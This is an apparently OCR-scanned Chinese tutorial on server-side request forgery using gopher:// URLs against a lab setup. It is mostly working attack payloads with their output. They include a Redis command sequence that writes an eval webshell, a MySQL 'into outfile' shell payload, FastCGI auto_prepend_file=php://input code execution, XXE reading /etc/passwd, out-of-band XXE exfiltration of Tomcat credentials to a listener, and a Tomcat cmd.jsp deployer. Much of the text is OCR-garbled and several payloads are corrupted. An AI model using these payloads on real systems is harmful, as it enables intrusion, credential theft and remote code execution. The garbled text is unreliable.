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<?php

$b=$_REQUEST["a"]

echo $b;

?>

AT E —NGETH .,

GET /edit.php?a=Hi HTTP/1.1

Host: 127.0.0.1

User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:76.0) Gecko/20100101 Firefox/76.0

Accept: text/html, application/xhtml#xml, application/xml;q=0. 9, image/webp, */+*;q=0. 8

Accept-Language: zh-CN, zh;q=0. 8, zh-TW;q=0. 7, zh-HK; g=0. 5, en-US; g=0. 3, en;q=0. 2

Accept—Encoding: gzip, deflate

Connection: close

Cookie: Hm_lvt_edb4dbdlclech393b622ebThd0601bT£=1585239031, 1585239369; Hm_lvt_ebT4350627920fdladc8belcaeddf594=1585230031, 1585239360;
bdshare_firstime=1592814981732

Upgrade-Insecure-Requests: 1

BARBurp #H WATGET IR 4 2 ZH, ATAT LA 2 34T .

GET /edit.php?a=Hi HTTP/1.1



Host: 127.0.0.1

Connection: close
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4. FEHAT B # A%0a.

5. M5 T ELI ONURLGm S %3 £, [F B 25 4% B e %20,
6. fEHTTP AL 1) & 5 ZE N %0d%0a, QK 4K .
AT B e e Bl gopher B AT .

curlgopher://192.168.11.1:80/_GET%20/edit.php%3fa=Hi%20HTTP/1.1%
0d%0aHost:%20127.0.0.1%0d%0aConnection:%20close%0d%0a

:~# curl gopher://192.168.11.1:80/_GET%20/edit.php%3fa=Hi%20HTTP/1.1%0d%0aHost:%20127.0.0.1%0d%0aConnection:%20close%0d%0a
HTTP/1.1 200 OK
Date: Thu, 16 Jul 2020 ©3:10:52 GMT
Server: Apache/2.4.23 (Win32) OpenSSL/1.9.2j mod_fcgid/2.3.9
X-Powered-By: PHP/5.6.27
Connection: close

Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

Content-Length N2,
POSTI[A B, fH & T E51T.

POST /edit.php HTTP/1.1
Host: 127.0.0.1
Connection: close

Content-Type: application/x-www-form-urlencoded



a=Hi

curlgopher://192.168.11.1:80/_P0OST%20/edit.php%3fa=Hi%26HTTP/1.1
%0d%0aHost:%20127.0.0.1%0d%0aConnection:%20close%0d%0aContent-

Type:%20application/x-www-form-urlencoded’%0d%0a

:~# curl gopher://192.168.11.1:80/_P0ST%20/edit.php%3fa=Hi%2@HTTP/1.1%0d%0aHost :%20127.0.0.1%0d%0aConnection:%20close%0d%0aConten
t-Type:%28application/x-ww-form-urlencoded%@d%da
HTTP/1.1 200 0K
Date: Thu, 16 Jul 2020 03:20:58 GMT
Server: Apache/2.4.23 (Win32) OpenS5L/1.0.2j mod_fcgid/2.3.9
X-Powered-By: PHP/5.6.27

Connection: close
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

T ATAT LI SSREF gopher & & A 2L .

o5 — A SSRE A I PHP ALY, 3X BL 350 %t 2 BOMUAE 1 2L 38

$url = $_GET['url'];
$curlobj = curl_init($url);

echo curl_exec($curlobj);

W Ephp.in EJ JHextension=php curl.dll
Phphit4<>5.3 (gopher Wil f£5. 3 A LL B4 H 46 3 #F)
Bt WL T A M A4 4456 11, R0 N 3% U i

192.168.11.1/ssrf2.php?url=gopher:

1075 2 AE AR far 1 oo wom — A B AT .

# nc -lp 4bbk
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FTPIRE

W fEAESS 0 A MFTPHCE 2, AT Ll — K.
B HLIP: 192.168.11.130

SSRFAR 4 #81P: 192.168.1.11

FTPRR 4 % IP: 192.168.11.136

T, HAEFTPHIRS 8 LIk — R U5 M FTPA R &= 15 o, X H k4T
PRAL A HE

curl ftp://vsftp:vsftp@127.0.0.1/ [vsftplk’s : vsftp&id]

& Activities ~ Wireshark «
a.cap -

File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help

AEmi@ EfREB Q¢ KASF E @ e @ E

[I—f’tp (%] '] Expression... +

No.  Time Source ~ Destination Protocol Length Info

[ | .872932 9.8.1 eal 100 Response: 220 Welcome to blah FTP se
21 20.873026 127.0.0.1 127.0.0.1 FTP 78 Request: USER “alEna
23 20.873069 127.8.8.1 127.0.0.1 FTP 100 Response: 331 Please specify the pas
24 20.873097 127.0.0.1 127.0.8.1 FTP 86 Request: PASS
25 20.9060456 127.0.8.1 127.0.0.1 FTP 89 Response: 230 Login successful.
26 20.900566 127.0.0.1 127.0.0.1 FTP 71 Request: PWD
27 20.900832 127.0.0.1 127.0.0.1 FTP 100 Response: 257 "/" is the current dir
28 20.900875 127.0.0.1 127.0.0.1 FTP 72 Request: EPSV
29 20.9060964 127.0.8.1 127.0.8.1 FTP 114 Response: 229 Entering Extended Pass
33 20.901173 127.0.68.1 127.0.0.1 FTP 74 Request: TYPE A
34 20.901202 127.0.0.1 127.0.0.1 FTP 96 Response: 200 Switching to ASCII mod
35 20.901230 127.0.08.1 127.0.0.1 FTP 72 Request: LIST
36 28.901315 127.8.8.1 127.8.0.1 FTP 105 Response: 158 Here comes the directo
42 20.903040 127.0.0.1 127.0.0.1 FTP 90 Response: 226 Directory send OK.
44 20.903108 127.0.0.1 127.0.0.1 FTP 72 Request: QUIT
45 20.903144 127.0.0.1 127.0.0.1 FTP 80 Response: 221 Goodbye.

FH Bt Follow tcp steam , fRfF NASCITH =, X H AT R R
USER PASSQUITIX 3/ AF H T P42 B [a] 3 B



USER

PASS &
PWD

EPSV

TYPE A

LIST

QUIT

7 client pkts, O server pkts, 0 turns.

127.0.0.1:49374 » 127.0.0.1:21 (€ ~  Show and save data as | ASCII v | Stream |1
Find: l Find Next
[&|Help Filter Out This Stream Print Save as... Back i Close

12 I8 B e i gopher i, 1T BP A1 7 B0 k4T — U 1 2 AT
1 A

« 192.168.111/ssrf2.php?. x +

&« X @ 192.168.11.1

Kali Linux Kali Training Kali Tools < Kali Docs Kali Forums MetHunter ]| Offensive Security Exploit-DB GHDB ]| MSFU

220 Welcome to blah FTP service. 331 Please specify the password. 230 Login successful. 221 Goodbye. 1



Attack Sawve Columns

Jﬁesults T Target T Positions T Payloads T Options ]

| Filter: Showing all iterns |®
Request | Payload | Status | Error | Timeout | Length ¥ | Comment
20 200 O O 330 B
0 200 ] O 229 B
1 12123 200 O O 329
2 12312312 200 O O 329
3 1223123 200 a a 329
4 admin 200 O O 329
5 root 200 ] O 329
[ pass 200 O O 329
7 123142 200 ] O 329
8 jogfn 200 O O 329
] sajhdsad 200 O O 329
10 sjhnrn 200 a a 329
11 johijn 200 O O 329 v

Raw | Headers Hex Render ]

Connection: close A
Content-Type: text/html; charset=UTF-8
Content-Length: 106

220 Welcome to blah FTP service.
331 Please specify the password
230 Login successful
221 Goodbye.
1
v

@ T T > Tvpe 3 search term 0 matches
i ——

REDIS

HOLH) S ANwebshel 1 A .
flushall

set 1° eval($_GET["cmd"]);?>"
config set dir /www/wwwroot/
config set dbfilename shell.php

save

Hwiresharkfi#£100, H 5 \:



# redis-cli

127.8.08.1:6379> flushall
0K

127.0.0.1:6379> set 1 '<?php eval($_GET["cmd"]);?>"
0K

127.0.0.1:6379> config set dir /www/wwroot/

OK

127.9.8.1:6379> config set dbfilename shell.php
OK

127.9.8.1:6379> save

OK

127.0.0.1:6379> exit

A ALt e p R R

eIt 48, oS #48, Otumn(s).
127.0.0.1:54064 » 127.0.0.1:6379 (214 bytes) v SRFRFHIER ASC

e Z Wi J7 R e igophertd 5, M)A ishell. phpo



dbfilenameX%@D%0A%2 44%0D%OAroot¥ODEOAX2AIXODHOAR2 4 4%0DYRDASaveBODEOAKOA
* Trying 127.0.0.1:6379...

* TCP_NODELAY set

* Connected to 127.0.0.1 (127.0.0.1) port 6379 (#0)

+0K
+0K
+0K
+0K
+0K

MR FATW AT LA gopherus H#E £ Higopher iy

https:

# python gopherus.py —exploit redis

Ready To get SHELL

PHPSHELL

<?php eval(@$_PoST['a’

gopher; // 14? 0.9,1:6379/ ‘¥2A1‘I.8D‘\=.BA%’foaxnmﬂﬂﬂuahaU.MD%M%ZAB“WD%BR%’-?a%t\D“GAset%BD%@A%Zh116D‘WAJ.%E‘D%@A%ZUg%GDtDA%B»\N!AHC‘Pthp‘\‘."ﬁevalma‘“sth PUST
x27a%, 20%3 QAXOAXODEOAX2ALEODEOAKD LEXODXOA: XODXOAX24L3IXODEOAS e LEODEOA 3XODXOA/ var/ ww /hImLXODXOAX? ALXODEOAS 2
AXOA

When it's dome you can get PHP Shell in /shell.php at the server with “emd” as parmeter.

-Made-by-SpyD3r: =

@8/ssrf.php?ur L -0 16379/ _%2A1%0DX0AX24BX0DEAA T usha L LXODXBAX2 ASKODEDAK2 43K
[w 5D%29%3BX20%I FA3EXOADARODEOARIALRODADAR2 4EXDDROACON FigXODRDAXD 43K
l]%am@hf'm!'fhuufhlml“!l]%l\kﬁ 4XODXOAX2 Bh!ﬂ[“(-ﬂ nf i gXODXBAX243X0D%0ASe t XODKOAK2 4 10%0DXBAdbT i lenameXdDXOAX2 49%0DKOAShel
. phpX@DXRAXZAIXODROAXD 44 XODXOAS aveXODXDAROA "
Trying 192.168.11.139:88 ...
TCP_NODELAY set
nnected to 192.1 . (192.168.11.138) port B8 (#0)
_;srf php url=g = B 9.1:6379/_ 1‘Am:mo»z«qwmaanu-r.alnama-\x‘nnamen XODROAS e tRODEOAND 4 1%ODEOAIXODROAXD 43 DEDAXDAXDAX. 3IFphpX20e
i AX2413%0DROA/ var/ wew /htmlXO0%
BA‘A-‘AA‘-\BI B)\'Lkbtd[ﬁxﬂﬂfunf1\1\3&.!&.1‘hJ"ﬂD’ﬂMS»l%ﬁD‘tUthlﬂ!H t‘.l\ﬂt.fﬂénam;‘-ﬂB[ﬂBAl’-}a‘iM’mﬂﬂshelL.phplﬂﬂ‘.m}\’ﬁ}ﬂ.l’ﬁt‘ﬂ’mﬂilQh%B[ﬂBA- veXODXDANDA HTTR/1.1
Ho 19
User-Agent

BRI IAT . AT BLA 8 % .



(_9 C & ‘(D # 192.168.11.130/shell. php

REDIS00094 redis-ver6.0.5¢ redis-bits @ @@ ctime§b@_@used-memé baof-preamble@® 9§ &

[P I £ N Lk AR A 4 OUAN Mt £ 0

O Oz8 Dess Dtz NEs Qetees QO e B o ]‘%Ei%fﬂﬁ @ Hackear

Encryption ~ Encoding~ SQL ~ XSS~ Other ~

Il Load URL http://192.168.11.130/shell.php
4§ spit URL
-
Postdata [] Referer [] User Agent [] Cookies Clear All
a=phpinfo();
URL 1P ADDR NOTE CTIME UTIME
http://192.168.11.130 192.168.11.130 Shcr T e 2020/07/21 02:18:53  2020/07/21 02:18:53

A mme s, e L T T B L e L B L

Redis iﬁﬁﬂvjlﬁj%—“TWebshellZ% , AT AT LLfE A crontab fx 9
shell, FIHARHERZ S X HIRRS S, AL,

MYSQL

MY SQL A AIE A =0 A 2 Ff
AL INUE, XA AR B, REH SN EEMNsalt e
Ja B AT I AE .

2. LW EMANE, B3k EEE AR,

MYSQL & A 3 Fh % £ 77 =

1. UnixERET, XMAHATlinuxB{FunixH B FHceclientflserv
eri iy BAE— & H K .

2. N EHEGHEE. XFH Twindows A5 F Helentflse
rver £ — G B P .

3.TCP/TP, W& ALHm ML, MM &2 M —MEETT A



M AAEAER B R AT LLAE I TCP/ TP G % A5 A A 5K s2 B2 i .
o6 B H LA T B 0 A Hh B S P, TR EAT T AL 2R

2 i N

mysql -h 127.0.0.1 -u ssrf -p

show version();

exit;

e 2 R IR SCF R B AT LI i tepiit rawik .

Wireshark - Follow TCP Stream (tcp.stream eq 0) - Loopback: lo —

2000000105aefT0100EEEEELTTEEEEEEEEREEERENEEERAEOEEEEEEEEEAEEEREEREE
elefelelele]
16030101200100011c0303T30bldeb138c4253be6cea70cdb32eat3437e587c475
bfed1f5623adc325419720492b59625771baB849a2b08747e8825e041b8bedo66da
8ca5742444892079abT60048130213031301c@2bcB2cc@2fc@23cB27c030cO24cH
28009e00a20067004000a3006bE06aRE9TCcO13cE09CcH14cOPaARB32003300380039
0B3500840041009c009deE3cAO3deR2fRATfE100008bAEOLARA403000102000a00
BchePanel1derl7eelepe19001800230000001600000017000EEERdRE2a00280403
B5030603080708080809080a080bOBO40805080604010501060103030301030204
B205020602002b0RE50403040303002d0ER20101003300260024001d0028ce6TTE
ee22c6c7Tbb7bdo9b87b900addaléec72e2aedc7d7398ddT 7e74b38bbb61
14030300010117030300197a7bfb4abf85664253c5036Teaa9bbec6e6elf97c3cH
aabb421703030045¢c33b37d1836c51457022a77aed4559c122ch96T40d939358266
346a48af96e8342af34Tbc@16c5972e3053ced79936b52737c466131732718e1353
d18b5b829b986469e59e5e
17030300c67c1a50e997853774cd7cf6217d1880ef@dc1201c813900279646c3eb
95abB7993fd2b136ae2ca7880b6a7346144527b20ab61901e720Ta371r41535d25

AFAeFeaennoa 1 AAF~AARFACAaENd e AN ThadFFAaF 200 AlATFd Al hfAdREacafd ~0Ad

Packet 13. 8 client pkts, 0 server pkts, 0 turns. Click to select.

e == |

127.0.0.1:48472 - 127.0.0.1:3306 - | Show and save data as | Raw * | Stream |0
]
)] Find: Find Next
)
i | @Help Filter Out This Stream Print Save as... Back Qclose

¥ EIT —urlencodets . IR ARGEE .



Warning: <FILE=" to save to a file.
: 5 curl gopher:fleT 0.0. 1-330&;_&20" 00%01%05%ae%F F%01%
%x00%00%0
”Bc.42.53mb050c%03” 0%cd%b3
9 b%59%62%57%71%ba%
9 9 %4
m23mC0m2?mC0m3ﬂ.Cﬂ.24.C0.23m00m96%00m62
mgfmcﬂ 13.C0.09HCOm1 HCO%0a%00%32%00%33%00%38%
”41m00m9Cm00m9dm00’ %00%3d% ”meﬂﬂmffm@l%ﬂ@%@@%ﬂbm@@m@bm@

Ik mﬂj”O?” 4%02
) 3%00%36%42%bBX7O%3CK20%32%bTe ' 9B%63%b7%31
%14% T f%c7%bo%8 WSeHCS”Cb.fT”bb. ”fc.bﬂ%oaﬁ‘ 6%
99%5a%bakcTR52%T4%46% lbm1?%03&03m00h26ha3%9a%0fmSfmdlm h9?h95h85m16h9fm?3
C%97%d7%b7%FO%64%aa%5a%4d%0%62%56%9e%f d%B5%ee%37%42%18%40%35%ad%3e%0d% T 7%1
%O3%00%16%1TRBT%29%9bXcb%c2%6 “Sdm 23%a6%a7%95%90%ae%50%8ckec --output -
[
8.0.20-0ubuntud.z20.04.1
Jcaching_sha2_ passwordzveee8n #z ¢lun! |
q¢E¢¢¢p¢¢9D oo9= I+Yblqeset~e%eAeeeTietSDe

yeo.+35 eveseeM' Ou/ee

A XHEWE T LLHhttps://github. com/FoolMitAh/mysql gop
her attack SZH.

FATIX H 225 AphpinfoXXff.

iR REATFEZLBHTS AN XA, LK -sercure-file-
privEEICNE, ARARIAREEHNE.

AT i A my s q 198 i 3 OO B8R € SO, /2 AT I 0 B A

jvar}run}mysqld}mysqld pld rw,
Jvar/run/mysqld/mysqld.sock rw,
Jvar/run/mysqld/mysqld.sock.lock
Jvar/run/mysqld/mysqlx.sock rw,
Jvar/run/mysqld/mysqlx.sock.lock

Jrun/mysqld/mysqld.pid rw,
Jrun/mysqld/mysqld.sock rw,
Jrun/mysqld/mysqld.sock.lock rw,
Jrun/mysqld/mysqlx.sock rw,
Jrun/mysqld/mysqlx.sock.lock rw,
Jvar fwww/html/** rwk, ]}

eg: python exploit.py -u root -p "" -d "" -P "PAYLOAD" -v -c



-
®
=

php phpinfo();?="' into
server handshake

0000 SBOGOOOOOA3B2ZE30
0010 O6ET475302E32302E
0020 0001365F30792957
0030 C715000000000000
DO40 4777062064210342
0050 5F736861325F7061

client login packet:

0000 2CO000014FB70000
0010 ©0OO0LeEEOEOEEOOBOO
0020 00000BO06375726C

[+] Login Success
client Login Result pa
0000 0700000200000002

execute request packet
0000 410000000373656C
0010 687020706870696E

A mASASET A A,

execute result packet
0000 0700000100010002

.
H

Payload:

S python exploit.py -u curl -d mysql -p "" -P "select '<?
outfile ' /fvar/www/html/h3.php';" -v -cC

2E32302D30756275
30342E31000A0000
6600FFFFFFO200FF
00000O0OZETBT7B63
0063616368696E67
T373776F726400

0000000121000000
0000000000000000
00006D7973716C00

cket:
(elelelelels]

65637420273C3F70
666F28293B3F3E27

B R

oooooo

[....8.0.20-0ubu
ntu0.20.04.1....
.6 OYINF. ... ...
SoooooooooooollEis
Gw. d!.B.caching
_sha2_password.

Y PO

A....select '<?p
hp phpinfo();?="'

LR B L [

gopher://127.8.0.1:3306/A%2C%00%00%000%B7%00%00%00%00%00%01%21%00%00%00%0
0%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00cur 1%00%08mysql%00%40
%0 %00%03select%20%2 %3Fphp%20phpinfo%28%29%3B%3F%3E%27%201nto%200utfile%
20%27/var fwww/html/h3.php%27%00%00%00%00

root@ubuntu: fvar /www/html# cat h3.php

<?php phpinfo();?=

FAST CGI

FastCGI ( Fast Common
Gatewaylnterface) 42 “fREHEHMITED” , 2@ H MK



Bell (CGL) Mo A, MCGIREEIME, FEMAEKESCCI
FEFE M fe, XML FCGI, FastCGIM & — ik HERERF S5Web il 55 8
HAF .

FastcgithilH £ MNrecordd i, HHrecoedflfheaderfbody
o RS A P E A header Mbody M fastcgi BRI B 47 i@ i te
pKIXLFPM (Fastcgi P AN 4% , FPMMEI G 45 R & )5
i (8] &5 v a) A .

typedef struct {
/* Header x/
unsigned char version; // WR®&

unsigned char type; // ZAXrecordfyEay

unsigned char requestIdBl; // AXrecordXfZAViEXKid
unsigned char requestIdBO;

unsigned char contentLengthB1l; // body{&RIK/\
unsigned char contentlLengthBO;

unsigned char paddinglLength; // #HRK/))

unsigned char reserved;

/* Body */
unsigned char contentData[contentLength];
unsigned char paddingData[paddinglLength];

}
FCGIiRecordﬂ

H P FPMAZ I fastcgi BV 0K TCP IR # B 5 5 IE (9 209 .

EAE Y, AP ViRhttp://127.0.0.1/index. php?a=1&b=2,
M webHEZ/var/www/abe, I ANginx< B X AN1ERD R H

key-valueXf:

{

"GATEWAY_INTERFACE': 'FastCGI/1.0',



"REQUEST_METHOD': 'GET',
"SCRIPT_FILENAME': '/var/www/abc/index.php',
"SCRIPT_NAME': '/index.php',
"QUERY_STRING': '?a=18&b=2"',

"REQUEST _URI': '/index.php?a=1&b=2",
"DOCUMENT_ROOT': '/var/www/abc',
"SERVER_SOFTWARE': 'php/fcgiclient',
"REMOTE_ADDR': '127.0.0.1",
"REMOTE_PORT': '12345",
'SERVER_ADDR': '127.0.0.1",
"SERVER_PORT': '80"',

"SERVER_NAME': "localhost",

'SERVER_PROTOCOL': 'HTTP/1.1'

}

FPME F|fastcgi I B G, TN, B3 LA XERELE,
SR, PWATSCRIPT_FILENAMEf{E 8 M I PHP XX, Wik & /var/w
ww/abc/index. phpo

1 Fin = A php-
fpomi i script filename W {H KT php X . W R iZ L A7
7E, MR FE404,

N

I.NGINXETIS7TY H #lphpf@#risid, Hlanvjmhttp://127.0.0.
1/1. jpg/.php V5 021, jpg, B, phpfEdT.



H T phpH Mfix pathinfofpth, WRMUEKE N/ var/www/abce
o B4 S¥IWSCRIPT FILENAMEE] /var/www/abe/1. jpg/. php &
THE, MEAFENEHEEE AN/ MERKBANE, HE/var/ww
w/abce/1. jpg & HmAFAE, W RAFAE N 4% W php K @ .

2.PHP. INIFHHABE W, auto prepend filefllauto appen
d fileo. AL X frrequire®) AT UL B TH # 5 JE 6 .

; Automatically add files before PHP document.
. http://php.net/auto-prependHile
auto prepend filegg

; Automatically add files after PHP document.
; http://php.net/auto-append-file
auto_append_file =

auto prepend fileREMITH I ZAISL M & auto prepend
filed g B3 fF, AT L auto _prepend file® & Ap
hp://input, auto_append file 34T 5 W H W X5,
“auto append filed8 [\ M.

HPFPMEF 2N EFEWN T % EPHP _VALUERM PHP _ADMIN_V
ALUE.

7 B E

"PHP_VALUE': 'auto_prepend file = php://input’,
"PHP_ADMIN_VALUE': 'allow_url_include = On'

A 2% A

e libcurl fRA>=7.45.0(H FEXPEAH%00, CURLEA/NT 7. 45
OB A, gopher BI%00 < 4 & )

e PHP-FPM & Wy ¥ I



e PHP-FPMfflx A >= 5.3.3
o MIIEHR S %% FAFZE — Nphp XXM 1 40 % B8 4%

FastCGI 5t 7/ i 1E YN Hh 127.0.0. 1
O R, X B PR AR =R AT

https:

T # python fpm.py 127.8.8.1 -p 9000 /var/www/html/index.php -c '<?php echo system('whoami®');exit; ?>'
PHP message: PHP Warning: Use of undefined constant whoami - assumed 'whoami' (this will throw an Error in a future version of PHP) in php://input on ling

1Content-type: text/html; charset=UTF-8

ol -data
weni -data

BT H =W fgopher, sEMiMr23335 .,

# nc -nvvlp 2333 > 1.txt

listening on [any] 2333 ...
connect to [127.8.6.1] from (UNKNOWN) [127.8.0.1] 48362

sent @, rcvd 557

AT A

T # python fpm.py 127.8.0.1 -p 2333 /var/www/html/index.php -c '<?php echo system('whoami');exit; %>’
Traceback (most recent call last):
File "fpm.py", line 251, in <module>
response = client.requestf_params. content)
File "fpm.py®", line 188, in request
return self.__waitForResponse(requestId)
File "fpm.py", line 193, in __waitForResponse
buf = self.sock.recv(512)
socket.timeout: timed out

FEH A AT ] B Murlencode et .

Python 2.7.18 (default, Apr 20 20290, 20:30:41)
[GCC 9.3.8] on Llinux2
Type “help®, cnpyrlgn[ , "credits® or "license® for more information.
3 f = open (
ff = f.rea
from urllib import quote
print quote(ff)
L01%01%BCX17%00%X05%00X00X00%X01X00%00X0XB0XOOXOXO1X04LXECH1 TRA 1XDEXOOXOOXAERD2C EINTENT LENGTH34%0CX10CONTENT _TY FEappllcat' / 't\ﬂﬁ%ﬂ»FEM(ITE FCIRTJJBS'HPBSB‘)
ER

o%30%20phpX3A// input

% LU
ROTOCOLHTTP/1. 1X8CX@OQUERY_STRIN On%AD% 1DOCUMENT _Ri
tml/index. thﬂal“ﬂfoﬂﬂESlYKGESEBKBB'Aﬂﬁﬂﬂlm.\‘SnE‘l“ﬁﬂah"ﬂ‘(ﬂﬂﬂ*iﬁilfphD’& 0%20systemX2BwhoamiX29%3B 1(‘.’%iBSZBK]F'AJE‘Bl’ﬂ\‘SnE‘l“ﬁ(‘a‘ﬂﬂ'ﬂ‘(ﬂﬂﬂ

AT R AT

curl -v

“gopher://127.0.0.1:9000/ [ L4 payload]’

BATAT LA FH gopherus H¥E A fligopher i



# python gopherus.py —exploit fastcgi

Svar/ v /html/index.php
echo hello_fastcgi

Request Response
Raw | Params Headers Hex Raw Headers Hex Render
iET A HTTP/1.1 200 0K
‘ssrf. phpPurl=gopher®3as/127.0.0.1%329000/_%2501%2501%2500%2501%2500%250 r Server: nginx/1.18.0
3%2500%2500%2500%2501%2500%2500%2500%2500%2500%2500%2501%2504%2500%2501% Date: Tue, 271 Jul 2020 10:74:39 GMT

1501%2504%2504%2500%250F%25105ERVER_SOFT! Ego%2520/%2520Fcgiclient®2520 Content-Type: text/html; charset=UTF-8
6250B%2509REMOTE_ADOR127.0. 0, 1%250F%25085E R_PROTOCOLHTTP/1. 1%250E%250 Connection: close

JCONTENT _LENGTH70%250E%2504REQUEST METHODPOSTE2509KPHP VALUEallow url in Content-Length: 112
:lude®2520%2530%25200n%250Adisable_functions®2520%2530%2520%250/auto_pre

send_file%2520%2530%2520phpi2534// input®250F%251TSCRIPT_FILENANE fvar fwww jﬂj Q[ Content-type: text/html; charset=UTF-8
‘htm1/index. phpt2500%250100CUMENT _ROOT /X2500%2500%2500E2500%2501%2504%25

025015250 0%2500%2500%250 0825071 %2505%25 00%2501%2500FX2504%2500%253C%253 hello_fastcgi

php%2520systent2528%252 Techo¥2520he11o_fastegi®2527%2529%253Bdie%2528%2 | ==nn-d Made- hy SpyDEr -----

327-----Made-by-SpyD3r

£2527%25 29%25 36%253F%25 3EXI500%I500%2500 ﬁ'ﬂ nl/
L2500 HTTP/1.1
fost: 192,168.11.136
Jser-Agent: Mozillas5.0 (X11; Linux xBE_64; rv:6B,0) Gecko /20100101
irefox/68,0
‘ccept: text/html, application/xhtml+xml, application/xzml; q=0,9,%/%;q=0.8
‘ccept-Language: en-US, en; g=0.5
\ccept-Encoding: gzip, deflate
‘onnection: close
Jpgrade-Insecure-Requests: 1

XXE

* 1] X il i i - A JAVA-
XXE ) ¥ £ B XXE >k #t B H & # TOMCAT K 5 % 1§
, Wi gopher KR ATRCE.

FAEXXE RS #2IP:192.168.11.139
Wk % #51P:192.168.11.130

HEihttps://github.com/pimps/docker-java-xxe

HEEEEREAHDS/PMBUG, 7F ¥ app P index. htmlxxe-
example.War%m\ﬁ%aixxe—exampleo

root@ubuntu: /# docker run -e MANAGER_USER=admin -e MANAGER PASSWORD=1234 -v /h
ome/i" == /Desktop/docker-java-xxe/app/xxe-example:/app -p 8080:8080 -t docker-j

ava-xxe




FAT A M x x e J& 77 B 152 BN H XXEJR A AR 45 2% A Hb 25 85
X HE 192, 168. 11.139:80803F /) & XXE,

<IDOCTYPE Anything [

<IENTITY xxe SYSTEM "file:///etc/passwd">
1>

<book>

<title>&xxej;</title>

<isbn>31337</isbn>

<author>Jon Snow</author>

</book>



Add a new book

<IDOCTYPFE Anything [
<1ENTITY xxe IYITEM "file: .-".-".-"Et-l:.-"p:.zl =™ >
1=
<book>
<titlerixxe; </ titles
<imbn»31337</isbn>
<authorrJon now</aunthors
</book>

Add

Books in the database:

<Txm] version="1.0" encoding="UTF-8" standalone="ves"*<bookz=
<hook=

=guthor=Jon Snow=/author=

<id=H<id>

<jzhn=31337=/izhn=

<tifle=The hMan That Knows Nothing= title=
< book=

<hook=

<guthor=Jon Snow=/author=

<id=3=1d>

<jzhn=31337=/izhn=

<tifle=The hMan That Knows Nothing= title=
< book=

<book=

<author=Jon Snow=/auther=

<id=7<d>

<isbn=31337</1zbn>

<title=rootx:0:0:root: Toot- bin'bazh
daemen:x:1:1:daemeon:/usr/shin: usr/sbin/nelogin
bin:x:2:2:bin: bin: usr'shin'nelogin
sysx 3 35y dev st shin/nologin
synex:4:65534:svne: bin: bin/syne
games:x: 3260 games: usr games: ‘usr shin/nelogin
man-x:6:12:man: var/cache man-nar/shinnologin
lpzx:7:T:1psvar/spoel 1pd: ‘usr/sbin'nelagin
mail-x:8:8-mail: varmail: ‘vsr/sbinnolegin
news:x:9:9:news: var/'zspoolnews: ‘usr'shin/'nologin
uuep:x: 10: 10mumep: var spoel unep: usrshin'nelogin
proxy:x:13:13 proxy - bin: ust/shin'nologin
www-datax-33:33 wwnw-datas var www ‘ust/ shin‘nolegin
backup:x:34:34:backup: var backups:nsr'shinnologin
list:x:38:38:Mailing List Manager:/varlist-'usr/shm/mologin
resx:39:3% 1red: var/min/ired: ‘uar/shin/nelogin
enatszx:41:41:Gnatz Bup-Reporting Svetem (admin): var/lib/gnats: ‘usr shin'nologin



oM L, OF Sk 1 B tomcat B oOm B tomcat-
user. xml B4 K AL 338 25 i FE 1 B R 55 28 .

A Ftp RS Fweb RS KR5S 2%, FTPH T Z AN EEMIDTD Ko ¥, W
EB#E L8 2 FTPipayload.

A ¥https://github. com/staaldraad/xxeseryv

'S — A AhERRgdtd.

# cat oob.dtd

<!ENTITY % param3 "<!ENTITY &#x25; exfil SYSTEM 'ftp://192.168.11.130:2121/%data3;"'>">

./xxeserv -wp 4444 -w -p[-wp A Ewebif{Ekwebiinl -pHE FTPﬁﬁD]

# ./xxeserv -wp 4444 -w
2525!5?322 22:02:18 [*] Starting Web Server on 4444 [./]
[*] Found certificate files in directory. Using these.

[*] UNO Listening...
2020/07/22 22:02:18 [*] GO XXE FTP Server - Port: 2121

Z i tomcat—user. xml B MK 2=,

) 2 X XE

<VENTITY % data3 SYSTEM "file:///opt/tomcat/conf/tomcat-

users.xml">

<VENTITY % sp SYSTEM "http://192.168.11.130:4444/dtds/oob.dtd">
%sp;

%param3;

%exfil;

1>

<book>

<title>00B EXFILL</title>



<isbn>31337</isbn>
<author>xxx</author>

</book>

# fxxeserv -uip 44&& -w

2&2&}&?}22 22:02:18 [*] Startlng Web Server on &&44 [./]
[*] Found certificate files in directory. Using these.
[*#] UNO Listening...
2020/07/22 22:02:18 [*x] GO XXE FTP Server - Port: 2121
2020/07/22 22:47:87 [192.168.11.139:58086][200] /dtds/ocob.dtd
2020/07/22 22:47:07 [*] Connection Accepted from [192.168.11.139:34402]
USER: anonymous
PASS: Javal.6.0_223
/<tomcat-users>

<role rolename="manager"
/>

<user name="admin" password="admin" roles="manager"
>
<

tomcat-users>

20208/07/22 22:47:87 [*] Closing FTP Connection

fd FH AR #0047 — $ERCE S
Ml Ahttps://github. com/pimps/gopher—tomcat-deployer
FATH NI A 52 B 5K S 8% D R

python gopher-tomcat-deployer.py -u admin -p admin -t 127.0.0.1
-pt 8080 cmd.jsp



gopher: //127.0.0.1:8080,/_%50%4fX53%54%20%2 fX6d%X61%6eX61%67%6
32%37%2eX30%2eX30%2e%31%3a%3BR3INRIBEINADAXDaNLIX6THORT LH65H
X75%6eX0LK01%T2HTORIAR2dR2dR2dR2dR2dR2dR2dR2dR2dR2dR2dE2dXE2
6%33%33%33%3L4K3TRIORI2RIBRILEI1XDdXDa%L3X6TROXT LX65%6eKT 4%
73%69%63%20%59%5 752K 7 46165 7R3 4HK36K59%5THE2HT 4X61X5THI4%3dH
XB5%63%T5%T2X65%2dE52K65%T 1%TSKE5KTIRTLET IR aR20%I 10 dED KD
S%31%30%33%32%31%34%32%39%37H31%35%35%34%39%36%36K3I3XIZAIZA3
72%6d%2d%64%61%7 4%61%3b%20%6eX61X6dX65%3dR22H64LX65%TDX6CHETH
XBeXT7L%2dESLETIXRTOXESXIAX20X61XTOXTOXECHOIXOIX61XTLAE9XOTHEY
BR4ekbek2BX00%0LX00X00X0DXEDLXDDXDDEDTEDDEDDEDDEOIXROAN6 LK e%E
6a%61%76%61%2eX69%6 TE2e%2a%22%25%3e%0dXDa%3 cH25XDd%Da%N2 FX2 TH
X6 fXedXedXe1%6eX6L%20XL5XTEXE5XE3IXTSXTLAE9XOTHOXIDAIBAT SXEY
